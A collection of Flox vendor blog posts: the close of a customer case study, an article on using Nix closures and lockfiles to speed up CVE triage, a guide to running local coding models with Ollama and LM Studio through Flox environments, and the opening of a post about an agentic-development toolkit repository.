across deployment contexts. This gives the company a centralized, reproducible way to introduce and manage changes to its deployment tooling without having to reconfigure tools across every context. The most promising next step is Flox's imageless [Kubernetes, Uncontained](https://flox.dev/blog/kubernetes-uncontained-explained-unlocking-faster-more-reproducible-deployments-on-k8s/) pattern, which gives Fellow a way to extend Flox's declarative reproducibility guarantees into its Kubernetes runtime infrastructure. Instead of relying entirely on prebuilt OCI images, Fellow can run imageless Flox environments natively in Kubernetes pods. Flox environments source their software dependencies at runtime via an immutable, node-local Flox cache. This imageless pattern starts faster, uses fewer resources, and (best of all) eliminates OCI image rebuild loops. "That's one of the most promising things I see with Flox. Containers have memory overhead, especially when you're running multiple copies on a node, and there's also a lot of image churn," Cormier-Iijima says. "Even small code changes can mean rebuilding and propagating layers everywhere." ## A Foundation That Just Works Cormier-Iijima and Fellow rely on Flox as a proven, team-ready foundation for reproducible development. Its hidden, Nix-powered machinery gives Fellow dev environments that "just work" across engineers and machines: not just in local dev, but in CI and deployment workflows. Its **`git`**- and **`npm`**-like semantics, combined with its intuitive environment definitions, help simplify setup, onboarding, and use. Flox's declarative model simplifies maintenance and change management, too. Before Flox, there _was_ no standard environment configuration; rather, there were multiple, competing environment configurations, each dispersed across scripts and config files, package managers, service definitions, and local machine state, or siloed in each engineer's head. With Flox, all of these inputs are codified as a versioned, shared, human-readable definition. This makes dependency updates, security patches, setup changes, and service modifications easier to review, faster to roll out, and safer to roll back when needed. The best thing about Flox, Cormier-Iijima says, is that it's inconspicuous: Fellow's engineering team doesn't even need to know they're using it. "For most people, after it was set up, Flox just faded into the background," he concludes. "They know it's there, but they don't have to think about it when they're working. It doesn't get in the way. In fact, it's become part of how things work for us." Ready to give your team a portable, reproducible foundation for development? It all starts with [FloxHub](https://hub.flox.dev), where teams can discover, pull, and share portable Flox environments that make local dev reproducible just by running **flox activate**. Get started today! Title: Achieving CVE Remediation in an Era of Escalating Vulnerabilities Source: https://flox.dev/blog/achieving-rapid-cve-remediation-in-an-era-of-escalating-vulnerabilities/ Date: 2026-05-01 Category: engineering # Achieving CVE Remediation in an Era of Escalating Vulnerabilities AI is accelerating the rate of CVE discovery. Learn how Flox and Nix transform package vulnerability triage from repeated artifact scans into quick, queryable dependency-graph analysis Even before Claude Mythos was announced, there were clear signs that the next era of CVEs would be found by AI models. Big Sleep [found](https://thehackernews.com/2024/11/googles-ai-tool-big-sleep-finds-zero.html) a zero-day vulnerability in SQLite, Microsoft Copilot [found 20+ CVEs in bootloaders](https://www.microsoft.com/en-us/security/blog/2025/03/31/analyzing-open-source-bootloaders-finding-vulnerabilities-faster-with-ai/), and DARPA [launched AIxCC](https://www.darpa.mil/research/programs/ai-cyber) to incentivize AI CVE discovery. Figure: Chart illustrating the expected rise in CVE volume as AI vulnerability discovery accelerates Now, with models like Claude Mythos emerging, there are two major takeaways: we'll see a rapid acceleration in the rate of CVEs as AI models improve, and we'll detect more CVEs that have persisted through versions, evading researchers for decades. One of the trickiest categories is package CVEs. Most organizations don't have an up-to-date manifest of every package in their stack. System-level package managers like `dnf`, `apt`, and `zypper`, or toolchain package managers like `pip`, `npm`, and `cargo`, resolve package versions that vary across platforms, environments, and time. To feel confident that a vulnerable dependency isn't being used, organizations have to manually scan their entire stack. Couple that with ever-increasing number of CVEs, and the problem quickly becomes unmanageable. This explosion of CVEs should encourage developers to embrace a system of record for their installed packages. [It’s why we built Flox](https://flox.dev/blog/why-we-built-flox/): an open source system for platform and devEx teams to centrally manage environments from development to production. Flox is made possible by Nix, a declarative package manager with a cryptographically verifiable dependency graph. Together, Flox and Nix flip the model: Instead of discovering vulnerable packages via after-the-fact scans, every dependency is verifiable at build time and can be traced by Flox’s system of record. With traditional package managers, CVE triage scales with the number of artifacts, images, hosts, or runtime environments you run. If you have *n* deployments, you generally need to analyze each one, because there's no reliable way to prove two environments contain exactly the same dependencies. In Big O terms, that's O(*n*) work, and most of it is redundant. Nix changes what you analyze. Every Nix or Flox environment resolves to the complete, transitive set of packages and build inputs used to produce it. In the argot of Nix, this is called a "closure." Closures are input-addressed, so if two environments resolve to the same Nix store path, they can be treated as the same unit for CVE triage; you need not inspect both independently to prove that their dependency sets match. This turns triage into a deduplication problem. If your *n* environments share only *u* distinct dependency sets, the expensive work (like checking which packages are affected or validating a patch) runs _once per dependency set_ instead of once per environment. If for example 500 environments collapse to 50 unique dependency sets, then the triage work isn't "scan 500 things." It is more akin to: - Map each environment to its dependency set. - Group environments with the same dependency set. - Analyze each unique dependency set once. - Reuse the result for every environment in that group. In Big O notation, the expensive analysis shifts from O(*n*) over 500 environments to O(*u*) over 50 unique dependency sets. Plus, with Nix and Flox, the evidence teams require to address the two most work-intensive package-CVE questions is already captured in a lockfile and materialized in the resolved environment. To identify vulnerable environments, teams query which lockfiles, closures, or SBOMs contain the affected package, then map those records back to the environments that use them. To validate remediation, they compare the replacement graph and confirm that the vulnerable package is no longer present. Compared with the status quo, the Nix/Flox workflow is lower-volume and lower-entropy: index the resolved records, query affected graphs, map them back to environments, edit the environment definition to select a patched package version, promote the replacement environment reference (a GitHub commit, a FloxHub generation), and compare the replacement graph against the vulnerable one. Admittedly, this isn’t O(1). But—if we’re being honest—the Big O comparison isn’t apples-to-apples: the status quo is a time- and resource-intensive inspection workflow, while the Nix/Flox model reduces package-CVE triage to database lookups, graph comparisons, and atomic promotion of new environment references. ## Non-determinism and CVEs. There are several common sources of non-determinism. For some package managers (e.g., `apt` or `dnf`), the same install command can produce different results based on the environment it was run in, what mirror it was pulled from, what was cached, and *when* it was cached. Most package managers allow for version ranges, such that the specific package and its dependencies might resolve differently. The consequence? There’s no queryable record of the dependency graph across the stack. Figure: Diagram showing how non-deterministic package resolution complicates CVE exposure tracking **What about lockfiles?** Conventional lockfiles are useful because they reduce or eliminate resolver drift within a package ecosystem. A `Cargo.lock`, `package-lock.json`, or `uv.lock` can record what that ecosystem’s package manager selected. But a lockfile is _not_ a declarative, deterministic description of the complete runtime environment: i.e., the base image, native libraries, tools, certificates, environment variables, and transitive dependencies that comprise the environment in which the application, service, or workload runs. When a package CVE is disclosed, organizations often have to search across services, images, hosts, and runtime environments to determine their level of exposure. The vulnerable package might not be something that anyone (or any _thing_) intentionally installed; frequently, it’s a transitive dependency introduced by another package, base image, system library, or runtime-specific install step. This is the essential logic behind the class of [transitive-dependency supply chain attacks](https://www.lineaje.com/post/axios-npm-breaches-expose-gaps-in-software-supply-chain-attestation) we’ve seen. In the conventional workflow, this is O(*n*) work: organizations must scan or analyze each artifact independently because there is no shared resolved dependency graph that proves which artifacts are equivalent. With Nix and Flox, teams can map each environment to its resolved dependency set—its closure—and group identical closures together. Again, this workflow still includes an O(*n*) inventory step, but the costly work shifts to O(*u*), where *u* is the number of unique closures. In this workflow, determining exposure in the event of a CVE becomes a fast database query from affected package → affected closures, and from there to the environments that reference them. ## Deduplicating CVE triage When software is built from reproducible dependency sets, CVE triage no longer has to start by scanning each and every artifact independently. Instead, each runtime can be mapped to the resolved dependency sets from which it was built: its closure, package metadata, SBOM, or equivalent dependency record. With a well-maintained dependency index, exposure queries can become fast lookups from CVE-affected package to affected dependency sets, and then from these sets to the environments that reference them. ### How is Nix deterministic? Nix achieves determinism by upending the conventional model we use to build, package, and consume software. Most package managers install prebuilt artifacts into a global, mutable system context, such that the _final environment_—the context in which the artifact runs—is determined by (a) the state of upstream repositories and mirrors, (b) the state of the host itself, and (c) all other ambient inputs. Nix takes the opposite approach: it builds packages from declared inputs and persists them into immutable store paths. If a pre-built binary substitute is used from a cache, this still corresponds to a hashed Nix store path. That’s the key: _Nix does not treat downloaded binaries as arbitrary packages_; it treats them as the outputs of known build recipes with declared inputs. This model makes the dependency graph queryable. Nix build outputs live in immutable store paths, and each output embeds its complete transitive dependency graph: the package, its dependencies, and the dependencies of those dependencies. (Again, this is its “closure.”) The resultant environment can be inspected, deduplicated, and reused for CVE triage, shifting the unit of analysis from “What happens to be installed on this host or image?” to “Which resolved dependency graphs contain vulnerable packages?” Nix builds are **hermetic** in that they are isolated from the ambient state of the host. Given the same declared inputs, Nix reliably computes the same derivations and store paths. Nix outputs are verifiable, too. Every package in the Nix store is identifiable by a cryptographic hash based on its inputs. Figure: Diagram showing Nix deterministic builds and reproducible dependency graphs You might be curious about the practical difference between Nix and Flox. Nix provides the package model, build system, and store semantics that make reproducible environments possible. Flox builds on Nix by turning those primitives into a complete software-lifecycle workflow for teams: creating environments, installing and updating packages, activating environments across machines, etc. The Flox CLI exposes familiar package manager commands like `install`, `list`, `uninstall`, and `activate`, so users can work with Nix without authoring Nix expressions or flakes. Flox also adds a curated catalog of packages, declarative environment manifests, and centralized, versioned sharing via FloxHub. ### From manifests to resolved dependency graphs A Flox manifest isn’t an install script: it’s a declarative description of an environment: the packages, variables, hooks, and services Flox will materialize at runtime. When Flox resolves that manifest, it writes the result to a file called `manifest.lock`. Think of this lockfile as a foundation for CVE triage: it records the package versions, source revisions, derivations, target systems, and Nix store outputs selected by the Flox resolver. These store outputs are the starting points for tracing the environment’s transitive dependency graph: resolved packages, their runtime dependencies, the dependencies of those dependencies. That graph can be inspected, indexed, scanned for CVE exposure, or used to create an SBOM. For audit and CVE workflows, this gives teams something much stronger than an install script or an after-the-fact scanner result. The inventory step is still O(*n*): each environment has to be mapped to the resolved dependency record it is actually using, such as a `manifest.lock`, FloxHub generation, closure fingerprint, or SBOM. But that step is mostly bookkeeping. The costly work is in resolving the dependency graph underpinning those records—**work that Nix and Flox do by default**. The remaining CVE-specific work is to (1) index those graphs against known vulnerability data, (2) deduplicate equivalent environments, and (3) validate whether a given CVE actually applies. Once environments are grouped by identical lockfiles or closures, that work shifts from O(*n*) over every environment to O(*u*) over the number of unique resolved dependency graphs. If 500 environments collapse to 50 unique lockfiles or closures, the expensive analysis runs 50 times rather than 500. ### Remediation is deduplicated The same model applies to remediation. FloxHub generates SBOMs for individual packages and complete environments, so organizations have a resolved dependency graph for each environment generation. When they index those SBOMs against vulnerability data, determining vulnerability exposure becomes a matter of querying a database: which resolved graphs contain the CVE-affected package, and which environments or FloxHub generations reference those graphs? Note: this is not unique to FloxHub in principle. Nix users can do the underlying work manually: Given a store output, they can traverse the closure, inspect the packages and libraries it contains, and generate an SBOM from that graph. From there, teams update the relevant package or input, regenerate the lockfile, and (if using Flox and FloxHub) publish a new environment generation. The remediation question becomes quite concrete: does the new lockfile resolve to an updated version of the vulnerable package, and does the resulting dependency graph no longer include the vulnerable package output? No, this isn’t O(1) remediation. Teams still need to test the runtime environment’s behavior, coordinate rollout, and promote the replacement FloxHub generation. But in this model you identify the affected graphs once, validate the replacement graph once, and promote that replacement wherever the vulnerable graph is used. This reuse applies to dependencies captured by the Flox/Nix environment; packages or artifacts fetched imperatively at activation or runtime must be pinned and tracked separately. Because Flox and Nix guarantee [reproducible outputs](https://flox.dev/blog/reproducible-builds-made-simple-with-nix-and-flox/), fixing a CVE is as easy as locating the dependency in the `manifest.lock`, adjusting the `manifest.toml` and re-locking it, rebuilding, and then redeploying to any affected environments. Because the build is fully deterministic: if it works locally, it will work in production. ## Why wasn’t this the norm? Nix is a very different package manager from popular projects such as `dnf`, `apt`, `brew`, etc. The main reason is a difference in values. Most package managers value convenience and fast build times. Nix values hermeticism, and hermeticism is fairly expensive. Everything is built in isolation; even with cached copies, that means longer build times and more disk space. Today, we live in a different era. Disk space isn’t nearly as scarce, and we have ample Internet bandwidth. When compared to the needs of AI systems, Nix’s resource requirements are quite modest. The pendulum may shift from prioritizing efficient build times to prioritizing efficient remediation times, especially as AI agents drive up CVE volume. We’re not unaware that many developers fear a package manager refactor. Thankfully, with coding agents, we believe the transition won't be nearly as daunting in the future, but we're still investigating the best paths for that approach. ## Coding agents: the (sort-of) good and the (very) bad The O(*n*) and O(*u*) comparison might appear trivial in a world of coding agents. We’re living in a time where Claude Code is running `grep` over hundreds of files to change the `border-radius` of a button. At an infrastructure level, this plays out a bit differently. Yes, an organization can build an agent that routinely inspects codebases, collects dependencies, and compares them to emerging CVEs. As models get smarter, the O(*n*) scanning problem *might* disappear amongst the coding agent chaos. This is, however, a shortsighted way of thinking about the problem. For an AI agent to accomplish autonomous scanning, it'll need to access every single node, operate without error, and run hundreds of searches for every CVE. It *might* be able to do it routinely without error, but it is another “close enough” excuse in lieu of good security. Meanwhile, with Flox, there’s a single source of truth that agents can easily process. Coding agents also raise their own counterpoint. Today’s ultra powerful agents aren’t just restricted to good actors. Attackers can quickly feed a coding agent a CVE and, with some clever prompting to evade guardrails, engineer a scalable attack. The zero-day nature of CVEs is truly becoming zero-day. And in an era of information density, a well-motivated actor might hone an attack on an organization's public disclosures like a conference talk that revealed the underlying packages in their stack. It’s a morbid flywheel: AI agents can find flaws and scale exploits just as quickly as agents can manually scan codebases and push patches. ## A closing thought: the new era We hope that this article provides insight on why we have lent years of contributions to the Nix universe. Our hope is to make a compelling case for deterministic package management and a system of record ahead of the upcoming tidal wave of CVEs. In an era of nonstop automation, we believe that good security is going to matter more than ever. In the last year, more has changed in software development than ever before. Our approach to package management should be one of those. Title: Run GPU-Accelerated Frontier Coding Models Locally on Your Laptop Source: https://flox.dev/blog/run-gpu-accelerated-frontier-coding-models-locally-on-your-laptop/ Date: 2026-04-21 Category: guide # Run GPU-Accelerated Frontier Coding Models Locally on Your Laptop Use Flox to run frontier coding models locally on macOS, Linux, or Windows via WSL2 with turn-key GPU-accelerated Ollama and LM Studio environments for Claude Code, Codex, OpenCode, and more. **tl;dr** It’s easy to get started with the latest frontier coding models on your MacBook, Linux, or Windows (with WSL2) laptop: Just run Flox’s [Agentic Ollama](https://github.com/floxrox/agentic-development-with-flox/blob/main/agentic-ollama/README.md) or [Agentic LM Studio](https://github.com/floxrox/agentic-development-with-flox/blob/main/agentic-lmstudio/README.md) environments. Both give you turn-key model serving stacks on your local system. Both offer out-of-the-box support for Claude Code, Codex, OpenCode, and OpenClaw. Coding locally with [Gemma 4](https://deepmind.google/models/gemma/gemma-4/), [GLM 4.7 Flash](https://docs.z.ai/guides/llm/glm-4.7), and other cutting-edge frontier models is as simple as [installing Flox](https://flox.dev/docs/install-flox/install/) and running: `flox activate -s -r flox/agentic-ollama -- ollama launch claude --model Gemma 4:31b` Or: `flox activate -s -r flox/agentic-lmstudio -- lms-launch codex --model zai-org/glm-4.7-flash` Read on to discover how fast and simple it is to get a turn-key model-serving stack up and running on your laptop. ## Your MacBook Pro Is a Model-Serving Champ—Use It Like One Mac users know that their MacBook Pros have a secret weapon: Apple’s unified memory architecture. On a MacBook Pro, LLM model weights sit in shared memory, so the GPU accesses them via Apple’s GPU-accelerated Metal/MPS API _without_ needing a separate VRAM pool. This means a 32 GB MacBook Pro can run models that require a GPU with 32GB of VRAM—like NVIDIA’s $2,000 RTX 5090. This _does not_ mean Metal-accelerated Macs outperform NVIDIA’s top-tier consumer GPU, or NVIDIA GPUs with less VRAM, for that matter. NVIDIA’s recent RTX GPUs are still much faster than Macs for local inference **when models fit into VRAM**. Apple Silicon’s advantage is that compared to NVIDIA’s RTX 5080 and RTX 5070, Macs can run models that exceed the VRAM of NVIDIA GPUs without splitting memory between the GPU and CPU RAM. One drawback is that this also practically limits the size (in GB) of the models you can run locally on Macs. A model either fits entirely into available unified memory or it doesn't. Because Flox environments don't use containers, Ollama and LM Studio run _directly on the host_ with unfettered access to hardware. This matters on macOS, where containers run inside a Linux VM and Metal/MPS acceleration isn’t available. This also replaces the **manual install path**: Flox manages the service lifecycle, so Ollama and LM Studio run on demand without persistent **`systemd`** or **`launchd`** units; if desired, you can configure them as long-running services. Updating Ollama, LM Studio, and their dependencies is as simple as running **`flox upgrade`**. This article shows cutting-edge models running on both NVIDIA CUDA and Apple Silicon GPUs using the same Flox environment, no containers or VMs required. ### Turn-Key Ollama with Gemma 4 After you [download and install Flox](https://flox.dev/download/), run the following command to get a Flox environment pre-configured to run Anthropic’s Claude Code, OpenAI’s Codex, and OpenCode against the popular Ollama model-serving framework. ``` flox activate -s -r flox/agentic-ollama ``` This runs a remote [FloxHub](https://hub.flox.dev) environment on your local system. It’s a way dynamically to invoke pre-built environments without cloning them to a specific local path, as you would with **`git clone`** or (its Flox equivalent) **`flox pull`**. The **`-s`** switch starts the Flox-managed Ollama service; the **`-r`** switch tells Flox that it needs to run **`agentic-ollama`** from FloxHub. Once Ollama is running, install the big Gemma 4 model (20GB) on your MacBook: ``` ollama launch claude --model Gemma 4:31b ``` Ollama will prompt you as to whether or not you want to download the 20GB Gemma model. (You do.) ``` Download Gemma 4:31b? Yes No ←/→ navigate • enter confirm • esc cancel ``` Once your download completes, it should put you right into Claude Code: ``` pulling manifest pulling 280af6832eca: 100% ▕██████████████████████████▏ 19 GB pulling 7339fa418c9a: 100% ▕██████████████████████████▏ 11 KB pulling 56380ca2ab89: 100% ▕██████████████████████████▏ 42 B pulling 0940386273ff: 100% ▕██████████████████████████▏ 474 B verifying sha256 digest writing manifest success ╭─── Claude Code v2.1.112 ─────────────────────────────────────────╮ │ │ │ Welcome back daedalus! │ │ │ │ ▐▛███▜▌ │ │ ▝▜█████▛▘ │ │ ▘▘ ▝▝ │ │ │ │ Gemma 4:31b with high effort │ │ API Usage Billing │ │ steve@foo.com's Organization │ │ ~/dev/agentic-development-with-flox/agentic-ollama │ │ │ ├──────────────────────────────────────────────────────────────────┤ │ │ │ Tips for getting started │ │ Run /init to create a CLAUDE.md file with │ │ instructions for Claude │ │ │ │ Recent activity │ │ No recent activity │ │ │ ╰──────────────────────────────────────────────────────────────────╯ ↑ Opus now defaults to 1M context · 5x more room, same pricing ──────────────────────────────────────────────────────────────────── ❯ ──────────────────────────────────────────────────────────────────── ? for shortcuts ``` ### Turn-Key LM Studio with Gemma 4 For smaller MacBooks (like those with 16GB of RAM), Google’s `Gemma 4:e4b` is an adequate-performing alternative. We’ll showcase another model serving framework, [LM Studio](https://lmstudio.ai/), with this model. Unlike Ollama, LM Studio has a GUI, although this walk-through uses its **`lms`** CLI interface. If you prefer to work with a GUI, however, you simply need run **`lm-studio`** in your terminal to bring up the Electron-based app. This time we’ll run Gemma 4 via OpenAI’s Codex CLI. First we’ll load the smaller Gemma 4 model: ``` lms-launch codex --model google/gemma-4-e4b ``` This uses a Flox-defined helper function (**`lms-launch`**) to load `Gemma 4:e4b` (9.6 GB). If `Gemma 4:e4b` isn’t already available locally, the helper function uses the **`lms`** command-line tool to download it automatically. Lastly, it runs Codex against `Gemma 4:e4b` once it’s loaded. **Note**: If you haven't already used it, Codex prompts you to configure auth; simply select option **`3. Provide your own API key`**, and accept the default key (**`lm-studio`**). This tells Codex to use `Gemma 4:e4b` instead of one of OpenAI’s models: ``` Welcome to Codex, OpenAI's command-line coding agent Sign in with ChatGPT to use Codex as part of your paid plan or connect an API key for usage-based billing 1. Sign in with ChatGPT Usage included with Plus, Pro, Business, and Enterprise plans 2. Sign in with Device Code Sign in from another device with a one-time code > 3. Provide your own API key Pay for what you use ``` On smaller Macs, like one of the Mac mini systems Flox uses as a Nix builder, the 9.6-GB Gemma 4 model isn’t _blazingly_ fast. But it’s workable. If you have a smaller MacBook Pro (or a fleet of Mac Minis) and want to code or experiment with agentic workflows, it’s genuinely useful. You can definitely GSD: ``` flox [agentic-lmstudio] daedalus@Theodores-Mac-mini:~/dev/agentic-development-with-flox/agentic-lmstudio % lms-launch codex --model google/gemma-4-e4b Launching Codex against LM Studio at http://127.0.0.1:1234 ... ╭───────────────────────────────────────────────────────────────╮ │ ✨ Update available! 0.118.0 -> 0.121.0 │ │ See https://github.com/openai/codex for installation options. │ │ │ │ See full release notes: │ │ https://github.com/openai/codex/releases/latest │ ╰───────────────────────────────────────────────────────────────╯ ╭──────────────────────────────────────────────────╮ │ >_ OpenAI Codex (v0.118.0) │ │ │ │ model: google/gemma-4-e4b /model to change │ │ directory: ~/dev/…/agentic-lmstudio │ ╰──────────────────────────────────────────────────╯ ``` Speaking of agentic workflows, both the **`agentic-ollama`** and **`agentic-lmstudio`** environments include OpenClaw. It’s hidden by default; you can enable it by running **`flox edit`** and uncommenting it in the Flox manifest: ``` # agentic cli tools claude-code.pkg-path = "claude-code" claude-code.pkg-group = "agentic" claude-code.outputs = "all" codex.pkg-path = "codex" codex.pkg-group = "agentic" codex.outputs = "all" opencode.pkg-path = "opencode" opencode.pkg-group = "agentic" opencode.outputs = "all" #openclaw.pkg-path = "flox/openclaw" # uncomment to use openclaw #openclaw.pkg-group = "agentic" ``` ### Coding Locally with GLM 4.7 Flash The finale showcases [GLM 4.7 Flash from Z.ai](https://docs.z.ai/guides/llm/glm-4.7#glm-4-7-flash), one of the most exciting frontier coding models out there. You can fire up the **`agentic-ollama`** environment with GLM 4.7 Flash just by running: ``` flox activate -s -r flox/agentic-ollama -- ollama launch opencode --model glm-4.7-flash:q8_0 ``` This activates the FloxHub **`agentic-ollama`** environment, starts the Ollama service, and runs OpenCode with the 32GB version (!) of GLM 4.7 Flash. If you don’t already have this model, Ollama will download it. **Note**: The model might not fit into memory on a 32GB MacBook Pro; check out the LM Studio example below to run a smaller GLM Flash 4.7 model that _will_ fit into the MacBook’s VRAM. The code below shows GLM 4.7 Flash fitting into the RTX 5090’s 32GB of VRAM: ``` | 0 NVIDIA GeForce RTX 5090 On | 00000000:01:00.0 Off | N/A | | 0% 46C P1 263W / 575W | 32017MiB / 32607MiB | 66% Default | | | | N/A | +-------------------------------+----------------------+-------------+ +--------------------------------------------------------------------+ | Processes: | | GPU GI CI PID Type Process name GPU Memory | | ID ID Usage | |====================================================================| | 0 N/A N/A 2472367 C ...bin/.ollama-wrapped 31814MiB | | 0 N/A N/A 3305371 G /usr/lib/xorg/Xorg 147MiB | | 0 N/A N/A 3305534 G /usr/bin/gnome-shell 16MiB | +--------------------------------------------------------------------+ ``` For MacBook Pro machines with 32 GB of RAM, the smaller GLM 4.7 Flash model (20 GB) is a safer bet: ``` flox activate -s -r flox/agentic-ollama -- ollama launch opencode --model glm-4.7-flash:q4_K_M ``` Either command runs the remote FloxHub **`agentic-ollama` environment and automatically starts OpenCode with the appropriate GLM 4.7 Flash model. ``` ▄ █▀▀█ █▀▀█ █▀▀█ █▀▀▄ █▀▀▀ █▀▀█ █▀▀█ █▀▀█ █ █ █ █ █▀▀▀ █ █ █ █ █ █ █ █▀▀▀ ▀▀▀▀ █▀▀▀ ▀▀▀▀ ▀▀▀▀ ▀▀▀▀ ▀▀▀▀ ▀▀▀▀ ▀▀▀▀ ▎ Ask anything... "Fix broken tests" ▎ ▎ Build glm-4.7-flash:q8_0 Ollama tab agents ctrl+p commands ``` On the NVIDIA RTX 5090, GLM 4.7 Flash is dramatically faster than Claude Opus 4.7 or OpenAI GPT 5.4. This doesn’t make it _smarter_ or _more reliable_, but it’s still a great starting point for local codegen. You can use LM Studio to run a smaller (18GB) version of GLM 4.7 Flash on 32 GB MacBooks: ``` flox activate -s -r flox/agentic-lmstudio ``` The following one-liner gives you all you need to pull, load, and run the GLM Flash 4.7 model: ``` lms-launch opencode --model zai-org/glm-4.7-flash ``` ### Run the Latest Frontier Models in Seconds with Flox Flox gives you a simple, human- or agent-readable way to create and share portable, reproducible build and runtime environments. Whether you’re an interactive human user or an autonomous AI agent, you can get all the dependencies that apps, services, and workloads need from the Flox Catalog. You can even install conflicting versions of dependencies side-by-side, in the same Flox environment, at the same time. Flox environments run optimized across OSes, CPU architectures, and (as we’ve seen) GPUs. The **`agentic-ollama`** and **`agentic-lmstudio`** environments pull in Linux- or macOS-native binaries and libraries. Each takes advantage of GPU acceleration if available, using CUDA with NVIDIA hardware and Metal/MPS with Apple Silicon. This happens automatically, without user intervention. Users can easily add support for new tools, create custom helper functions and services, or make other customizations. Want to add [hermes agent](https://github.com/NousResearch/hermes-agent), the intriguing new OpenClaw alternative? Just run **`flox pull --copy flox/agentic-ollama`** or **`flox pull --copy flox/agentic-lmstudio`** and make the changes yourself, or assign your AI agent of choice this work. Flox makes it just as simple to add runtime database services like [Postgres](https://hub.flox.dev/flox/postgres) or [Redis](https://hub.flox.dev/flox/redis), along with [Airflow](https://hub.flox.dev/flox/airflow) for workflow scheduling and [Spark](https://hub.flox.dev/flox/spark) for compute: Just [layer or compose](https://flox.dev/blog/layering-and-composing-flox-environments/) them as needed. It all starts with [FloxHub](https://hub.flox.dev), home to these and hundreds of other pre-built environments, including dozens of [curated, validated environments](https://hub.flox.dev/flox) created and maintained by Flox. Get started today! ## FAQs ### Why use Flox instead of running Ollama / LM Studio in a container? Or installing them directly? Flox gives you a reproducible local model-serving environment that runs directly on your host operating system. This is materially different from a containerized pattern on macOS, where containers run inside a Linux VM and therefore do not have native access to Apple’s Metal/MPS GPU API. On Linux, containers are a viable pattern, but they nonetheless introduce another operational layer with respect to GPU access and service startup. On Linux and macOS, containers require that users create a custom networking config + local bind mounts for model storage. A native install shifts the operational burden to the user. Flox, by contrast, packages the work of managing package versions, creating helper scripts, and defining long-running services into a portable, cross-platform environment that users can activate, update, copy, and edit declaratively without touching their global system including global libraries and services. Flox’s value proposition is straightforward: Users get native hardware access as with a direct install, but with built-in reproducibility, portability, and operational control. ### Do I need a discrete GPU to use these environments? Not necessarily. On Apple Silicon, the environments can use Metal/MPS and unified memory. On Linux, they can use CUDA with supported NVIDIA GPUs. CPU-only execution may still work for some models, but latency and throughput will usually be much, much worse. ### What operating systems are supported? These environments run on macOS, Linux, and Windows with WSL2. Flox pulls the platform-native binaries and libraries needed for the target system at activation time. ### Which coding agents work out of the box? The environments include support for Claude Code, Codex, OpenCode, and related tools described in the article. OpenClaw is present but commented out by default and can be enabled by editing the manifest. ### How much memory do I need for the models shown here? Model fit depends on the specific quantization and the memory available to the system or GPU. In the examples above, `Gemma 4:31b` is roughly a 20 GB download, `google/gemma-4-e4b` is about 9.6 GB, `glm-4.7-flash:q8_0` is about 32 GB, and `glm-4.7-flash:q4_K_M` is smaller and more practical on 32 GB Apple Silicon systems. In practice, you need enough available memory for model weights plus runtime overhead. ### Do these environments automatically use CUDA on NVIDIA and Metal/MPS on Apple Silicon? Yes. The environments use the platform-appropriate runtime stack automatically when compatible hardware is available. No separate environment definition is needed for Apple Silicon versus NVIDIA CUDA systems. ### Do I need to clone a repository before using these environments? No. The examples in this article use remote FloxHub environments directly with `flox activate -r ...`. That lets you run the environment without first copying it into a local project directory. If you want to modify the manifest, helper functions, or services, copy the environment locally with `flox pull --copy`. ### Do the models run fully locally after download? Yes. After the model files and toolchain are installed on the local machine, inference runs on the local system rather than through a hosted model API. Some coding agents may still ask you to configure authentication during first-run setup, depending on the tool and how it is being used. ### Can I customize these environments for my own workflow? Yes. You can add packages, enable disabled tools, define helper functions, and compose in other services such as Postgres, Redis, Airflow, or Spark. Flox treats the environment definition as a declarative runtime and build configuration that you can reuse or modify across machines. Just run **`flox pull --copy flox/agentic-ollama`** or **`flox pull --copy flox/agentic-lmstudio`** and use **`flox edit`** to edit the Flox manifest to make your changes. Title: A Turnkey Toolkit for Agentic Development with Flox Source: https://flox.dev/blog/a-turnkey-toolkit-for-agentic-development-with-flox/ Date: 2026-04-06 Category: guide # A Turnkey Toolkit for Agentic Development with Flox Test drive OpenClaw and 50+ other agentic AI assistants on your own machine. At once. Without permanently breaking anything. Share what you build with others and it Just Works. Impossible, you say? Not with Flox! Flox is a cross-language, cross-toolchain package manager that works across operating systems and CPU/GPU architectures. Claude Code, Codex, OpenCode, Gemini CLI, Copilot CLI, and other AI agents/AI coding assistants can use Flox’s MCP server to discover, find specific versions of, and install _just_ the right dependencies, searching among _millions_ of historical package-version combinations. And because Flox is also a cross-platform, cross-language, cross-architecture **virtual environment manager**, agentic tools won’t burn tokens resolving dependency conflicts. It’s even straightforward to run conflicting versions of dependencies in the same runtime, at the same time. Need OpenSSL versions 1.1.1q and 3.0.19 _in the same Flox environment_, side by side? No problem! Best of all, Flox runs directly on your system—no containers or VMs required. And when you (or your [OpenClaw](https://github.com/openclaw/openclaw) minion) are ready to share what you’ve created, the Flox environments that were built and perfected locally Just Work when friends, coworkers, or random users (human and agentic) pull and run them on their own machines. Read on to find out why Flox and [FloxHub](https://hub.flox.dev) are perfect for vibe coding, prototyping, or agentic development. ## AI Coding Agents & CLIs This [repo](https://github.com/floxrox/agentic-development-with-flox) consolidates 50+ tools into a one-stop resource for agentic development. Each folder is its own turnkey Flox environment, complete with a **`README.md`** that explains what it is, how it works, and what features / affordances it offers. Clone it to get started: ``` git clone https://github.com/floxrox/agentic-development-with-flox ``` Once you [download and install Flox](https://flox.dev/docs/install-flox/install/), you can start Flox environments by running: ``` $ flox activate ``` If an environment contains services—like MCP servers, databases, model servers, workflow scheduling engines (like Airflow), and so on—you can either start them at runtime or from within an activated session. ``` $ flox activate -s ## or: $ flox services start # if more than one service is defined ``` This is all you need to start working with any of these tools. As for the AI agents/assistants included with this repo, many if not most will get the knowledge + context they need from the Flox MCP server; others will benefit from reading and referring back to the **`FLOX.md`** file that’s included with this repo. Of course, these tools don’t need to know anything about Flox. Flox just lets them run anytime/anywhere. How they run and what you do with them is up to you—or (Skynet isn’t a thing yet, right?) _them_. ## Agentic Development with Flox The repo is a work in progress: more projects will likely be added as they’re identified. [Beaucoups of thanks](https://en.wikipedia.org/wiki/Beaucoups_of_Blues) go out to the folks at [Numtide](https://numtide.com/), who inspired this with their seminal [curated repo of Nix AI tools](https://github.com/numtide/llm-agents.nix). You can fork this repo and do whatever you want with it. You can explore each environment to crib examples for creating, customizing, or improving your own Flox environments. To copy a Flox **[manifest.toml](https://flox.dev/docs/man/manifest.toml/)** declarative configuration file is to copy a version of that environment. (To copy both **`manifest.toml`** and **[manifest.lock](https://flox.dev/docs/concepts/environments/?h=manifest.lock#manifestlock)** is to create an _exact replica_ of that environment.) To copy the **`[install]`**, **`[vars]`**, **`[hook]`**, **`[profile]`**, **`[services]`**, or **`[build]`** sections of a 